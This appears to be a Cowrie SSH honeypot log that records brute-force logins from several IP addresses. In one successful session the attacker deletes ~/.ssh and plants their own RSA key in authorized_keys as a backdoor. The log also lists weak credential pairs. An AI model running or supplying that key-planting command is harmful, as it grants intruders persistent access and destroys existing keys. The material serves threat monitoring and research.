{"eventid":"cowrie.session.connect","src_ip":"190.242.109.42","src_port":36526,"dst_ip":"159.203.135.109","dst_port":22,"session":"86a65b0b91a4","protocol":"ssh","message":"New connection: 190.242.109.42:36526 (159.203.135.109:22) [session: 86a65b0b91a4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:20:55.223095Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:20:55.227920Z","src_ip":"190.242.109.42","session":"86a65b0b91a4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:20:55.334318Z","src_ip":"190.242.109.42","session":"86a65b0b91a4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"teste","password":"teste@123","message":"login attempt [teste/teste@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:20:55.780043Z","src_ip":"190.242.109.42","session":"86a65b0b91a4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:20:56.889969Z","src_ip":"190.242.109.42","session":"86a65b0b91a4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.189.208.13","src_port":42450,"dst_ip":"159.203.135.109","dst_port":22,"session":"cf1b23771061","protocol":"ssh","message":"New connection: 103.189.208.13:42450 (159.203.135.109:22) [session: cf1b23771061]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:21:19.246563Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:21:19.251703Z","src_ip":"103.189.208.13","session":"cf1b23771061","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:21:19.498389Z","src_ip":"103.189.208.13","session":"cf1b23771061","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"appuser","password":"1234","message":"login attempt [appuser/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:21:20.516277Z","src_ip":"103.189.208.13","session":"cf1b23771061","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:21:21.766832Z","src_ip":"103.189.208.13","session":"cf1b23771061","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"190.242.109.42","src_port":55400,"dst_ip":"159.203.135.109","dst_port":22,"session":"2ed2019cae89","protocol":"ssh","message":"New connection: 190.242.109.42:55400 (159.203.135.109:22) [session: 2ed2019cae89]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:21:59.402428Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:21:59.407443Z","src_ip":"190.242.109.42","session":"2ed2019cae89","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:21:59.499283Z","src_ip":"190.242.109.42","session":"2ed2019cae89","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"123456qwe","message":"login attempt [admin/123456qwe] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:21:59.899281Z","src_ip":"190.242.109.42","session":"2ed2019cae89","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:22:00.995650Z","src_ip":"190.242.109.42","session":"2ed2019cae89","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.189.208.13","src_port":33494,"dst_ip":"159.203.135.109","dst_port":22,"session":"7e5bc7464284","protocol":"ssh","message":"New connection: 103.189.208.13:33494 (159.203.135.109:22) [session: 7e5bc7464284]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:22:17.546386Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:22:17.551317Z","src_ip":"103.189.208.13","session":"7e5bc7464284","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:22:17.797886Z","src_ip":"103.189.208.13","session":"7e5bc7464284","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"00","message":"login attempt [user/00] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:22:18.815746Z","src_ip":"103.189.208.13","session":"7e5bc7464284","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:22:20.065715Z","src_ip":"103.189.208.13","session":"7e5bc7464284","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.244.206.148","src_port":46656,"dst_ip":"10.17.0.5","dst_port":22,"session":"e6531363237b","protocol":"ssh","message":"New connection: 152.244.206.148:46656 (10.17.0.5:22) [session: e6531363237b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:23:03.603348Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:23:03.608259Z","src_ip":"152.244.206.148","session":"e6531363237b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:23:03.751229Z","src_ip":"152.244.206.148","session":"e6531363237b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"parola","message":"login attempt [root/parola] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:23:04.385952Z","src_ip":"152.244.206.148","session":"e6531363237b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:23:05.533507Z","src_ip":"152.244.206.148","session":"e6531363237b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"190.242.109.42","src_port":46062,"dst_ip":"159.203.135.109","dst_port":22,"session":"65cdd8819821","protocol":"ssh","message":"New connection: 190.242.109.42:46062 (159.203.135.109:22) [session: 65cdd8819821]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:23:06.107358Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:23:06.112365Z","src_ip":"190.242.109.42","session":"65cdd8819821","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:23:06.203419Z","src_ip":"190.242.109.42","session":"65cdd8819821","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"jay","message":"login attempt [admin/jay] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:23:06.596107Z","src_ip":"190.242.109.42","session":"65cdd8819821","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:23:07.691249Z","src_ip":"190.242.109.42","session":"65cdd8819821","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.189.208.13","src_port":57846,"dst_ip":"159.203.135.109","dst_port":22,"session":"4037dcbae5c8","protocol":"ssh","message":"New connection: 103.189.208.13:57846 (159.203.135.109:22) [session: 4037dcbae5c8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:23:17.321295Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:23:17.325209Z","src_ip":"103.189.208.13","session":"4037dcbae5c8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:23:17.575078Z","src_ip":"103.189.208.13","session":"4037dcbae5c8","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"oracle","password":"Welcome1","message":"login attempt [oracle/Welcome1] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:23:18.608058Z","src_ip":"103.189.208.13","session":"4037dcbae5c8","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:23:19.150243Z","src_ip":"103.189.208.13","session":"4037dcbae5c8","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:23:19.153646Z","src_ip":"103.189.208.13","session":"4037dcbae5c8","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:23:19.157688Z","src_ip":"103.189.208.13","session":"4037dcbae5c8","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:23:19.411151Z","src_ip":"103.189.208.13","session":"4037dcbae5c8","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:23:19.953588Z","src_ip":"103.189.208.13","session":"4037dcbae5c8","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:23:19.956992Z","src_ip":"103.189.208.13","session":"4037dcbae5c8","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/home/oracle/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:23:20.213794Z","src_ip":"103.189.208.13","session":"4037dcbae5c8","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T03:23:20.217306Z","src_ip":"103.189.208.13","session":"4037dcbae5c8","protocol":"ssh"}
